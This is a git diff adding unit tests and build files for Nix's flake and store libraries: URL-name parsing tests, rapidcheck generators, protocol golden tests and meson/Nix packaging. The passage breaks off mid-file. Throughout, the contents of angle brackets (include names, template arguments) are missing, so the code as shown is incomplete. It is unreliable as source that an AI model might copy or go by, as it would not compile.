+#include "fetch-settings.hh" +#include "flake/flakeref.hh" + +namespace nix { + +/* ----------- tests for flake/flakeref.hh --------------------------------------------------*/ + + /* ---------------------------------------------------------------------------- + * to_string + * --------------------------------------------------------------------------*/ + + TEST(to_string, doesntReencodeUrl) { + fetchers::Settings fetchSettings; + auto s = "http://localhost:8181/test/+3d.tar.gz"; + auto flakeref = parseFlakeRef(fetchSettings, s); + auto parsed = flakeref.to_string(); + auto expected = "http://localhost:8181/test/%2B3d.tar.gz"; + + ASSERT_EQ(parsed, expected); + } + +} diff --git a/tests/unit/libflake/local.mk b/tests/unit/libflake/local.mk new file mode 100644 index 000000000..590bcf7c0 --- /dev/null +++ b/tests/unit/libflake/local.mk @@ -0,0 +1,43 @@ +check: libflake-tests_RUN + +programs += libflake-tests + +libflake-tests_NAME := libnixflake-tests + +libflake-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data GTEST_OUTPUT=xml:$$testresults/libflake-tests.xml + +libflake-tests_DIR := $(d) + +ifeq ($(INSTALL_UNIT_TESTS), yes) + libflake-tests_INSTALL_DIR := $(checkbindir) +else + libflake-tests_INSTALL_DIR := +endif + +libflake-tests_SOURCES := \ + $(wildcard $(d)/*.cc) \ + $(wildcard $(d)/value/*.cc) \ + $(wildcard $(d)/flake/*.cc) + +libflake-tests_EXTRA_INCLUDES = \ + -I tests/unit/libflake-support \ + -I tests/unit/libstore-support \ + -I tests/unit/libutil-support \ + $(INCLUDE_libflake) \ + $(INCLUDE_libexpr) \ + $(INCLUDE_libfetchers) \ + $(INCLUDE_libstore) \ + $(INCLUDE_libutil) \ + +libflake-tests_CXXFLAGS += $(libflake-tests_EXTRA_INCLUDES) + +libflake-tests_LIBS = \ + libexpr-test-support libstore-test-support libutil-test-support \ + libflake libexpr libfetchers libstore libutil + +libflake-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS) -lgmock + +ifdef HOST_WINDOWS + # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space + libflake-tests_LDFLAGS += -Wl,--stack,$(shell echo $$((65 * 1024 * 1024))) +endif diff --git a/tests/unit/libflake/meson.build b/tests/unit/libflake/meson.build new file mode 100644 index 000000000..c022d7f41 --- /dev/null +++ b/tests/unit/libflake/meson.build @@ -0,0 +1,74 @@ +project('nix-flake-tests', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +subdir('build-utils-meson/deps-lists') + +deps_private_maybe_subproject = [ + dependency('nix-expr-test-support'), + dependency('nix-flake'), +] +deps_public_maybe_subproject = [ +] +subdir('build-utils-meson/subprojects') + +subdir('build-utils-meson/threads') + +subdir('build-utils-meson/export-all-symbols') + +rapidcheck = dependency('rapidcheck') +deps_private += rapidcheck + +gtest = dependency('gtest', main : true) +deps_private += gtest + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + '-include', 'config-util.hh', + '-include', 'config-store.hh', + '-include', 'config-expr.hh', + language : 'cpp', +) + +subdir('build-utils-meson/diagnostics') + +sources = files( + 'flakeref.cc', + 'url-name.cc', +) + +include_dirs = [include_directories('.')] + + +this_exe = executable( + meson.project_name(), + sources, + dependencies : deps_private_subproject + deps_private + deps_other, + include_directories : include_dirs, + # TODO: -lrapidcheck, see ../libutil-support/build.meson + link_args: linker_export_flags + ['-lrapidcheck'], + # get main from gtest + install : true, +) + +test( + meson.project_name(), + this_exe, + env : { + '_NIX_TEST_UNIT_DATA': meson.current_source_dir() / 'data', + }, + protocol : 'gtest', +) diff --git a/tests/unit/libflake/package.nix b/tests/unit/libflake/package.nix new file mode 100644 index 000000000..0d63d2ff7 --- /dev/null +++ b/tests/unit/libflake/package.nix @@ -0,0 +1,96 @@ +{ lib +, buildPackages +, stdenv +, mkMesonDerivation +, releaseTools + +, meson +, ninja +, pkg-config + +, nix-flake +, nix-expr-test-support + +, rapidcheck +, gtest +, runCommand + +# Configuration Options + +, version +, resolvePath +}: + +let + inherit (lib) fileset; +in + +mkMesonDerivation (finalAttrs: { + pname = "nix-flake-tests"; + inherit version; + + workDir = ./.; + fileset = fileset.unions [ + ../../../build-utils-meson + ./build-utils-meson + ../../../.version + ./.version + ./meson.build + # ./meson.options + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; + + buildInputs = [ + nix-flake + nix-expr-test-support + rapidcheck + gtest + ]; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. + '' + chmod u+w ./.version + echo ${version} > ../../../.version + ''; + + mesonFlags = [ + ]; + + env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + passthru = { + tests = { + run = runCommand "${finalAttrs.pname}-run" { + meta.broken = !stdenv.hostPlatform.emulatorAvailable buildPackages; + } (lib.optionalString stdenv.hostPlatform.isWindows '' + export HOME="$PWD/home-dir" + mkdir -p "$HOME" + '' + '' + export _NIX_TEST_UNIT_DATA=${resolvePath ./data} + ${stdenv.hostPlatform.emulator buildPackages} ${lib.getExe finalAttrs.finalPackage} + touch $out + ''); + }; + }; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + mainProgram = finalAttrs.pname + stdenv.hostPlatform.extensions.executable; + }; + +}) diff --git a/tests/unit/libflake/url-name.cc b/tests/unit/libflake/url-name.cc new file mode 100644 index 000000000..15bc6b111 --- /dev/null +++ b/tests/unit/libflake/url-name.cc @@ -0,0 +1,70 @@ +#include "flake/url-name.hh" +#include + +namespace nix { + +/* ----------- tests for url-name.hh --------------------------------------------------*/ + + TEST(getNameFromURL, getNameFromURL) { + ASSERT_EQ(getNameFromURL(parseURL("path:/home/user/project")), "project"); + ASSERT_EQ(getNameFromURL(parseURL("path:~/repos/nixpkgs#packages.x86_64-linux.hello")), "hello"); + ASSERT_EQ(getNameFromURL(parseURL("path:~/repos/nixpkgs#legacyPackages.x86_64-linux.hello")), "hello"); + ASSERT_EQ(getNameFromURL(parseURL("path:~/repos/nixpkgs#packages.x86_64-linux.Hello")), "Hello"); + ASSERT_EQ(getNameFromURL(parseURL("path:.#nonStandardAttr.mylaptop")), "mylaptop"); + ASSERT_EQ(getNameFromURL(parseURL("path:./repos/myflake#nonStandardAttr.mylaptop")), "mylaptop"); + ASSERT_EQ(getNameFromURL(parseURL("path:./nixpkgs#packages.x86_64-linux.complex^bin,man")), "complex"); + ASSERT_EQ(getNameFromURL(parseURL("path:./myproj#packages.x86_64-linux.default^*")), "myproj"); + ASSERT_EQ(getNameFromURL(parseURL("path:./myproj#defaultPackage.x86_64-linux")), "myproj"); + + ASSERT_EQ(getNameFromURL(parseURL("github:NixOS/nixpkgs#packages.x86_64-linux.hello")), "hello"); + ASSERT_EQ(getNameFromURL(parseURL("github:NixOS/nixpkgs#hello")), "hello"); + ASSERT_EQ(getNameFromURL(parseURL("github:NixOS/nix#packages.x86_64-linux.default")), "nix"); + ASSERT_EQ(getNameFromURL(parseURL("github:NixOS/nix#")), "nix"); + ASSERT_EQ(getNameFromURL(parseURL("github:NixOS/nix")), "nix"); + ASSERT_EQ(getNameFromURL(parseURL("github:cachix/devenv/main#packages.x86_64-linux.default")), "devenv"); + ASSERT_EQ(getNameFromURL(parseURL("github:edolstra/nix-warez?rev=1234&dir=blender&ref=master")), "blender"); + + ASSERT_EQ(getNameFromURL(parseURL("gitlab:NixOS/nixpkgs#packages.x86_64-linux.hello")), "hello"); + ASSERT_EQ(getNameFromURL(parseURL("gitlab:NixOS/nixpkgs#hello")), "hello"); + ASSERT_EQ(getNameFromURL(parseURL("gitlab:NixOS/nix#packages.x86_64-linux.default")), "nix"); + ASSERT_EQ(getNameFromURL(parseURL("gitlab:NixOS/nix#")), "nix"); + ASSERT_EQ(getNameFromURL(parseURL("gitlab:NixOS/nix")), "nix"); + ASSERT_EQ(getNameFromURL(parseURL("gitlab:cachix/devenv/main#packages.x86_64-linux.default")), "devenv"); + + ASSERT_EQ(getNameFromURL(parseURL("sourcehut:NixOS/nixpkgs#packages.x86_64-linux.hello")), "hello"); + ASSERT_EQ(getNameFromURL(parseURL("sourcehut:NixOS/nixpkgs#hello")), "hello"); + ASSERT_EQ(getNameFromURL(parseURL("sourcehut:NixOS/nix#packages.x86_64-linux.default")), "nix"); + ASSERT_EQ(getNameFromURL(parseURL("sourcehut:NixOS/nix#")), "nix"); + ASSERT_EQ(getNameFromURL(parseURL("sourcehut:NixOS/nix")), "nix"); + ASSERT_EQ(getNameFromURL(parseURL("sourcehut:cachix/devenv/main#packages.x86_64-linux.default")), "devenv"); + + ASSERT_EQ(getNameFromURL(parseURL("git://github.com/edolstra/dwarffs")), "dwarffs"); + ASSERT_EQ(getNameFromURL(parseURL("git://github.com/edolstra/nix-warez?dir=blender")), "blender"); + ASSERT_EQ(getNameFromURL(parseURL("git+file:///home/user/project")), "project"); + ASSERT_EQ(getNameFromURL(parseURL("git+file:///home/user/project?ref=fa1e2d23a22")), "project"); + ASSERT_EQ(getNameFromURL(parseURL("git+ssh://git@github.com/someuser/my-repo#")), "my-repo"); + ASSERT_EQ(getNameFromURL(parseURL("git+git://github.com/someuser/my-repo?rev=v1.2.3")), "my-repo"); + ASSERT_EQ(getNameFromURL(parseURL("git+ssh:///home/user/project?dir=subproject&rev=v2.4")), "subproject"); + ASSERT_EQ(getNameFromURL(parseURL("git+http://not-even-real#packages.x86_64-linux.hello")), "hello"); + ASSERT_EQ(getNameFromURL(parseURL("git+https://not-even-real#packages.aarch64-darwin.hello")), "hello"); + + ASSERT_EQ(getNameFromURL(parseURL("tarball+http://github.com/NixOS/nix/archive/refs/tags/2.18.1#packages.x86_64-linux.jq")), "jq"); + ASSERT_EQ(getNameFromURL(parseURL("tarball+https://github.com/NixOS/nix/archive/refs/tags/2.18.1#packages.x86_64-linux.hg")), "hg"); + ASSERT_EQ(getNameFromURL(parseURL("tarball+file:///home/user/Downloads/nixpkgs-2.18.1#packages.aarch64-darwin.ripgrep")), "ripgrep"); + + ASSERT_EQ(getNameFromURL(parseURL("https://github.com/NixOS/nix/archive/refs/tags/2.18.1.tar.gz#packages.x86_64-linux.pv")), "pv"); + ASSERT_EQ(getNameFromURL(parseURL("http://github.com/NixOS/nix/archive/refs/tags/2.18.1.tar.gz#packages.x86_64-linux.pv")), "pv"); + + ASSERT_EQ(getNameFromURL(parseURL("file:///home/user/project?ref=fa1e2d23a22")), "project"); + ASSERT_EQ(getNameFromURL(parseURL("file+file:///home/user/project?ref=fa1e2d23a22")), "project"); + ASSERT_EQ(getNameFromURL(parseURL("file+http://not-even-real#packages.x86_64-linux.hello")), "hello"); + ASSERT_EQ(getNameFromURL(parseURL("file+http://gitfantasy.com/org/user/notaflake")), "notaflake"); + ASSERT_EQ(getNameFromURL(parseURL("file+https://not-even-real#packages.aarch64-darwin.hello")), "hello"); + + ASSERT_EQ(getNameFromURL(parseURL("https://www.github.com/")), std::nullopt); + ASSERT_EQ(getNameFromURL(parseURL("path:.")), std::nullopt); + ASSERT_EQ(getNameFromURL(parseURL("file:.#")), std::nullopt); + ASSERT_EQ(getNameFromURL(parseURL("path:.#packages.x86_64-linux.default")), std::nullopt); + ASSERT_EQ(getNameFromURL(parseURL("path:.#packages.x86_64-linux.default^*")), std::nullopt); + } +} diff --git a/tests/unit/libstore-support/.version b/tests/unit/libstore-support/.version new file mode 120000 index 000000000..0df9915bf --- /dev/null +++ b/tests/unit/libstore-support/.version @@ -0,0 +1 @@ +../../../.version \ No newline at end of file diff --git a/tests/unit/libstore-support/build-utils-meson b/tests/unit/libstore-support/build-utils-meson new file mode 120000 index 000000000..f2d8e8a50 --- /dev/null +++ b/tests/unit/libstore-support/build-utils-meson @@ -0,0 +1 @@ +../../../build-utils-meson/ \ No newline at end of file diff --git a/tests/unit/libstore-support/local.mk b/tests/unit/libstore-support/local.mk new file mode 100644 index 000000000..56dedd825 --- /dev/null +++ b/tests/unit/libstore-support/local.mk @@ -0,0 +1,21 @@ +libraries += libstore-test-support + +libstore-test-support_NAME = libnixstore-test-support + +libstore-test-support_DIR := $(d) + +ifeq ($(INSTALL_UNIT_TESTS), yes) + libstore-test-support_INSTALL_DIR := $(checklibdir) +else + libstore-test-support_INSTALL_DIR := +endif + +libstore-test-support_SOURCES := $(wildcard $(d)/tests/*.cc) + +libstore-test-support_CXXFLAGS += $(libstore-tests_EXTRA_INCLUDES) + +libstore-test-support_LIBS = \ + libutil-test-support \ + libstore libutil + +libstore-test-support_LDFLAGS := $(THREAD_LDFLAGS) -lrapidcheck diff --git a/tests/unit/libstore-support/meson.build b/tests/unit/libstore-support/meson.build new file mode 100644 index 000000000..f09d26a31 --- /dev/null +++ b/tests/unit/libstore-support/meson.build @@ -0,0 +1,78 @@ +project('nix-store-test-support', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +subdir('build-utils-meson/deps-lists') + +deps_private_maybe_subproject = [ +] +deps_public_maybe_subproject = [ + dependency('nix-util'), + dependency('nix-util-test-support'), + dependency('nix-store'), +] +subdir('build-utils-meson/subprojects') + +subdir('build-utils-meson/threads') + +rapidcheck = dependency('rapidcheck') +deps_public += rapidcheck + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + '-include', 'config-util.hh', + '-include', 'config-store.hh', + language : 'cpp', +) + +subdir('build-utils-meson/diagnostics') + +sources = files( + 'tests/derived-path.cc', + 'tests/outputs-spec.cc', + 'tests/path.cc', +) + +include_dirs = [include_directories('.')] + +headers = files( + 'tests/derived-path.hh', + 'tests/libstore.hh', + 'tests/nix_api_store.hh', + 'tests/outputs-spec.hh', + 'tests/path.hh', + 'tests/protocol.hh', +) + +subdir('build-utils-meson/export-all-symbols') + +this_library = library( + 'nix-store-test-support', + sources, + dependencies : deps_public + deps_private + deps_other, + include_directories : include_dirs, + # TODO: Remove `-lrapidcheck` when https://github.com/emil-e/rapidcheck/pull/326 + # is available. See also ../libutil/build.meson + link_args: linker_export_flags + ['-lrapidcheck'], + prelink : true, # For C++ static initializers + install : true, +) + +install_headers(headers, subdir : 'nix', preserve_path : true) + +libraries_private = [] + +subdir('build-utils-meson/export') diff --git a/tests/unit/libstore-support/package.nix b/tests/unit/libstore-support/package.nix new file mode 100644 index 000000000..f512db3ee --- /dev/null +++ b/tests/unit/libstore-support/package.nix @@ -0,0 +1,77 @@ +{ lib +, stdenv +, mkMesonDerivation +, releaseTools + +, meson +, ninja +, pkg-config + +, nix-util-test-support +, nix-store + +, rapidcheck + +# Configuration Options + +, version +}: + +let + inherit (lib) fileset; +in + +mkMesonDerivation (finalAttrs: { + pname = "nix-store-test-support"; + inherit version; + + workDir = ./.; + fileset = fileset.unions [ + ../../../build-utils-meson + ./build-utils-meson + ../../../.version + ./.version + ./meson.build + # ./meson.options + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ]; + + outputs = [ "out" "dev" ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; + + propagatedBuildInputs = [ + nix-util-test-support + nix-store + rapidcheck + ]; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. + '' + chmod u+w ./.version + echo ${version} > ../../../.version + ''; + + mesonFlags = [ + ]; + + env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + }; + +}) diff --git a/tests/unit/libstore-support/tests/derived-path.cc b/tests/unit/libstore-support/tests/derived-path.cc new file mode 100644 index 000000000..091706dba --- /dev/null +++ b/tests/unit/libstore-support/tests/derived-path.cc @@ -0,0 +1,57 @@ +#include + +#include + +#include "tests/derived-path.hh" + +namespace rc { +using namespace nix; + +Gen Arbitrary::arbitrary() +{ + return gen::just(DerivedPath::Opaque { + .path = *gen::arbitrary(), + }); +} + +Gen Arbitrary::arbitrary() +{ + return gen::just(SingleDerivedPath::Built { + .drvPath = make_ref(*gen::arbitrary()), + .output = (*gen::arbitrary()).name, + }); +} + +Gen Arbitrary::arbitrary() +{ + return gen::just(DerivedPath::Built { + .drvPath = make_ref(*gen::arbitrary()), + .outputs = *gen::arbitrary(), + }); +} + +Gen Arbitrary::arbitrary() +{ + switch (*gen::inRange(0, std::variant_size_v)) { + case 0: + return gen::just(*gen::arbitrary()); + case 1: + return gen::just(*gen::arbitrary()); + default: + assert(false); + } +} + +Gen Arbitrary::arbitrary() +{ + switch (*gen::inRange(0, std::variant_size_v)) { + case 0: + return gen::just(*gen::arbitrary()); + case 1: + return gen::just(*gen::arbitrary()); + default: + assert(false); + } +} + +} diff --git a/tests/unit/libstore-support/tests/derived-path.hh b/tests/unit/libstore-support/tests/derived-path.hh new file mode 100644 index 000000000..98d61f228 --- /dev/null +++ b/tests/unit/libstore-support/tests/derived-path.hh @@ -0,0 +1,39 @@ +#pragma once +///@file + +#include + +#include + +#include "tests/path.hh" +#include "tests/outputs-spec.hh" + +namespace rc { +using namespace nix; + +template<> +struct Arbitrary { + static Gen arbitrary(); +}; + +template<> +struct Arbitrary { + static Gen arbitrary(); +}; + +template<> +struct Arbitrary { + static Gen arbitrary(); +}; + +template<> +struct Arbitrary { + static Gen arbitrary(); +}; + +template<> +struct Arbitrary { + static Gen arbitrary(); +}; + +} diff --git a/tests/unit/libstore-support/tests/libstore.hh b/tests/unit/libstore-support/tests/libstore.hh new file mode 100644 index 000000000..84be52c23 --- /dev/null +++ b/tests/unit/libstore-support/tests/libstore.hh @@ -0,0 +1,34 @@ +#pragma once +///@file + +#include +#include + +#include "store-api.hh" + +namespace nix { + +class LibStoreTest : public virtual ::testing::Test +{ +public: + static void SetUpTestSuite() + { + initLibStore(false); + } + +protected: + LibStoreTest() + : store(openStore({ + .variant = + StoreReference::Specified{ + .scheme = "dummy", + }, + .params = {}, + })) + { + } + + ref store; +}; + +} /* namespace nix */ diff --git a/tests/unit/libstore-support/tests/nix_api_store.hh b/tests/unit/libstore-support/tests/nix_api_store.hh new file mode 100644 index 000000000..a2d35d083 --- /dev/null +++ b/tests/unit/libstore-support/tests/nix_api_store.hh @@ -0,0 +1,66 @@ +#pragma once +///@file +#include "tests/nix_api_util.hh" + +#include "file-system.hh" + +#include "nix_api_store.h" +#include "nix_api_store_internal.h" + +#include +#include + +namespace fs = std::filesystem; + +namespace nixC { +class nix_api_store_test : public nix_api_util_context +{ +public: + nix_api_store_test() + { + nix_libstore_init(ctx); + init_local_store(); + }; + + ~nix_api_store_test() override + { + nix_store_free(store); + + for (auto & path : fs::recursive_directory_iterator(nixDir)) { + fs::permissions(path, fs::perms::owner_all); + } + fs::remove_all(nixDir); + } + + Store * store; + std::string nixDir; + std::string nixStoreDir; + +protected: + void init_local_store() + { +#ifdef _WIN32 + // no `mkdtemp` with MinGW + auto tmpl = nix::defaultTempDir() + "/tests_nix-store."; + for (size_t i = 0; true; ++i) { + nixDir = tmpl + std::string { i }; + if (fs::create_directory(nixDir)) break; + } +#else + auto tmpl = nix::defaultTempDir() + "/tests_nix-store.XXXXXX"; + nixDir = mkdtemp((char *) tmpl.c_str()); +#endif + + nixStoreDir = nixDir + "/my_nix_store"; + + // Options documented in `nix help-stores` + const char * p1[] = {"store", nixStoreDir.c_str()}; + const char * p2[] = {"state", (new std::string(nixDir + "/my_state"))->c_str()}; + const char * p3[] = {"log", (new std::string(nixDir + "/my_log"))->c_str()}; + + const char ** params[] = {p1, p2, p3, nullptr}; + + store = nix_store_open(ctx, "local", params); + } +}; +} diff --git a/tests/unit/libstore-support/tests/outputs-spec.cc b/tests/unit/libstore-support/tests/outputs-spec.cc new file mode 100644 index 000000000..e9d602203 --- /dev/null +++ b/tests/unit/libstore-support/tests/outputs-spec.cc @@ -0,0 +1,24 @@ +#include "tests/outputs-spec.hh" + +#include + +namespace rc { +using namespace nix; + +Gen Arbitrary::arbitrary() +{ + switch (*gen::inRange(0, std::variant_size_v)) { + case 0: + return gen::just((OutputsSpec) OutputsSpec::All { }); + case 1: + return gen::just((OutputsSpec) OutputsSpec::Names { + *gen::nonEmpty(gen::container(gen::map( + gen::arbitrary(), + [](StorePathName n) { return n.name; }))), + }); + default: + assert(false); + } +} + +} diff --git a/tests/unit/libstore-support/tests/outputs-spec.hh b/tests/unit/libstore-support/tests/outputs-spec.hh new file mode 100644 index 000000000..f5bf9042d --- /dev/null +++ b/tests/unit/libstore-support/tests/outputs-spec.hh @@ -0,0 +1,18 @@ +#pragma once +///@file + +#include + +#include + +#include "tests/path.hh" + +namespace rc { +using namespace nix; + +template<> +struct Arbitrary { + static Gen arbitrary(); +}; + +} diff --git a/tests/unit/libstore-support/tests/path.cc b/tests/unit/libstore-support/tests/path.cc new file mode 100644 index 000000000..8ddda8027 --- /dev/null +++ b/tests/unit/libstore-support/tests/path.cc @@ -0,0 +1,80 @@ +#include +#include + +#include + +#include "path-regex.hh" +#include "store-api.hh" + +#include "tests/hash.hh" +#include "tests/path.hh" + +namespace nix { + +void showValue(const StorePath & p, std::ostream & os) +{ + os << p.to_string(); +} + +} + +namespace rc { +using namespace nix; + +Gen storePathChar() +{ + return rc::gen::apply([](uint8_t i) -> char { + switch (i) { + case 0 ... 9: + return '0' + i; + case 10 ... 35: + return 'A' + (i - 10); + case 36 ... 61: + return 'a' + (i - 36); + case 62: + return '+'; + case 63: + return '-'; + case 64: + return '.'; + case 65: + return '_'; + case 66: + return '?'; + case 67: + return '='; + default: + assert(false); + } + }, + gen::inRange(0, 10 + 2 * 26 + 6)); +} + +Gen Arbitrary::arbitrary() +{ + return gen::construct( + gen::suchThat( + gen::container(storePathChar()), + [](const std::string & s) { + return + !( s == "" + || s == "." + || s == ".." + || s.starts_with(".-") + || s.starts_with("..-") + ); + } + ) + ); +} + +Gen Arbitrary::arbitrary() +{ + return + gen::construct( + gen::arbitrary(), + gen::apply([](StorePathName n){ return n.name; }, gen::arbitrary()) + ); +} + +} // namespace rc diff --git a/tests/unit/libstore-support/tests/path.hh b/tests/unit/libstore-support/tests/path.hh new file mode 100644 index 000000000..4751b3373 --- /dev/null +++ b/tests/unit/libstore-support/tests/path.hh @@ -0,0 +1,32 @@ +#pragma once +///@file + +#include + +#include + +namespace nix { + +struct StorePathName { + std::string name; +}; + +// For rapidcheck +void showValue(const StorePath & p, std::ostream & os); + +} + +namespace rc { +using namespace nix; + +template<> +struct Arbitrary { + static Gen arbitrary(); +}; + +template<> +struct Arbitrary { + static Gen arbitrary(); +}; + +} diff --git a/tests/unit/libstore-support/tests/protocol.hh b/tests/unit/libstore-support/tests/protocol.hh new file mode 100644 index 000000000..3c9e52c11 --- /dev/null +++ b/tests/unit/libstore-support/tests/protocol.hh @@ -0,0 +1,75 @@ +#pragma once +///@file + +#include +#include + +#include "tests/libstore.hh" +#include "tests/characterization.hh" + +namespace nix { + +template +class ProtoTest : public CharacterizationTest, public LibStoreTest +{ + Path unitTestData = getUnitTestData() + "/" + protocolDir; + + Path goldenMaster(std::string_view testStem) const override { + return unitTestData + "/" + testStem + ".bin"; + } +}; + +template +class VersionedProtoTest : public ProtoTest +{ +public: + /** + * Golden test for `T` reading + */ + template + void readProtoTest(PathView testStem, typename Proto::Version version, T expected) + { + CharacterizationTest::readTest(testStem, [&](const auto & encoded) { + T got = ({ + StringSource from { encoded }; + Proto::template Serialise::read( + *LibStoreTest::store, + typename Proto::ReadConn { + .from = from, + .version = version, + }); + }); + + ASSERT_EQ(got, expected); + }); + } + + /** + * Golden test for `T` write + */ + template + void writeProtoTest(PathView testStem, typename Proto::Version version, const T & decoded) + { + CharacterizationTest::writeTest(testStem, [&]() { + StringSink to; + Proto::template Serialise::write( + *LibStoreTest::store, + typename Proto::WriteConn { + .to = to, + .version = version, + }, + decoded); + return std::move(to.s); + }); + } +}; + +#define VERSIONED_CHARACTERIZATION_TEST(FIXTURE, NAME, STEM, VERSION, VALUE) \ + TEST_F(FIXTURE, NAME ## _read) { \ + readProtoTest(STEM, VERSION, VALUE); \ + } \ + TEST_F(FIXTURE, NAME ## _write) { \ + writeProtoTest(STEM, VERSION, VALUE); \ + } + +} diff --git a/tests/unit/libstore/.version b/tests/unit/libstore/.version new file mode 120000 index 000000000..0df9915bf --- /dev/null +++ b/tests/unit/libstore/.version @@ -0,0 +1 @@ +../../../.version \ No newline at end of file diff --git a/tests/unit/libstore/build-utils-meson b/tests/unit/libstore/build-utils-meson new file mode 120000 index 000000000..f2d8e8a50 --- /dev/null +++ b/tests/unit/libstore/build-utils-meson @@ -0,0 +1 @@ +../../../build-utils-meson/ \ No newline at end of file diff --git a/tests/unit/libstore/common-protocol.cc b/tests/unit/libstore/common-protocol.cc new file mode 100644 index 000000000..c8f6dd002 --- /dev/null +++ b/tests/unit/libstore/common-protocol.cc @@ -0,0 +1,187 @@ +#include + +#include +#include + +#include "common-protocol.hh" +#include "common-protocol-impl.hh" +#include "build-result.hh" +#include "tests/protocol.hh" +#include "tests/characterization.hh" + +namespace nix { + +const char commonProtoDir[] = "common-protocol"; + +class CommonProtoTest : public ProtoTest +{ +public: + /** + * Golden test for `T` reading + */ + template + void readProtoTest(PathView testStem, const T & expected) + { + CharacterizationTest::readTest(testStem, [&](const auto & encoded) { + T got = ({ + StringSource from { encoded }; + CommonProto::Serialise::read( + *store, + CommonProto::ReadConn { .from = from }); + }); + + ASSERT_EQ(got, expected); + }); + } + + /** + * Golden test for `T` write + */ + template + void writeProtoTest(PathView testStem, const T & decoded) + { + CharacterizationTest::writeTest(testStem, [&]() -> std::string { + StringSink to; + CommonProto::Serialise::write( + *store, + CommonProto::WriteConn { .to = to }, + decoded); + return to.s; + }); + } +}; + +#define CHARACTERIZATION_TEST(NAME, STEM, VALUE) \ + TEST_F(CommonProtoTest, NAME ## _read) { \ + readProtoTest(STEM, VALUE); \ + } \ + TEST_F(CommonProtoTest, NAME ## _write) { \ + writeProtoTest(STEM, VALUE); \ + } + +CHARACTERIZATION_TEST( + string, + "string", + (std::tuple { + "", + "hi", + "white rabbit", + "大白兔", + "oh no \0\0\0 what was that!", + })) + +CHARACTERIZATION_TEST( + storePath, + "store-path", + (std::tuple { + StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo" }, + StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo-bar" }, + })) + +CHARACTERIZATION_TEST( + contentAddress, + "content-address", + (std::tuple { + ContentAddress { + .method = ContentAddressMethod::Raw::Text, + .hash = hashString(HashAlgorithm::SHA256, "Derive(...)"), + }, + ContentAddress { + .method = ContentAddressMethod::Raw::Flat, + .hash = hashString(HashAlgorithm::SHA1, "blob blob..."), + }, + ContentAddress { + .method = ContentAddressMethod::Raw::NixArchive, + .hash = hashString(HashAlgorithm::SHA256, "(...)"), + }, + })) + +CHARACTERIZATION_TEST( + drvOutput, + "drv-output", + (std::tuple { + { + .drvHash = Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), + .outputName = "baz", + }, + DrvOutput { + .drvHash = Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), + .outputName = "quux", + }, + })) + +CHARACTERIZATION_TEST( + realisation, + "realisation", + (std::tuple { + Realisation { + .id = DrvOutput { + .drvHash = Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), + .outputName = "baz", + }, + .outPath = StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo" }, + .signatures = { "asdf", "qwer" }, + }, + Realisation { + .id = { + .drvHash = Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), + .outputName = "baz", + }, + .outPath = StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo" }, + .signatures = { "asdf", "qwer" }, + .dependentRealisations = { + { + DrvOutput { + .drvHash = Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), + .outputName = "quux", + }, + StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo" }, + }, + }, + }, + })) + +CHARACTERIZATION_TEST( + vector, + "vector", + (std::tuple, std::vector, std::vector, std::vector>> { + { }, + { "" }, + { "", "foo", "bar" }, + { {}, { "" }, { "", "1", "2" } }, + })) + +CHARACTERIZATION_TEST( + set, + "set", + (std::tuple, std::set, std::set, std::set>> { + { }, + { "" }, + { "", "foo", "bar" }, + { {}, { "" }, { "", "1", "2" } }, + })) + +CHARACTERIZATION_TEST( + optionalStorePath, + "optional-store-path", + (std::tuple, std::optional> { + std::nullopt, + std::optional { + StorePath { 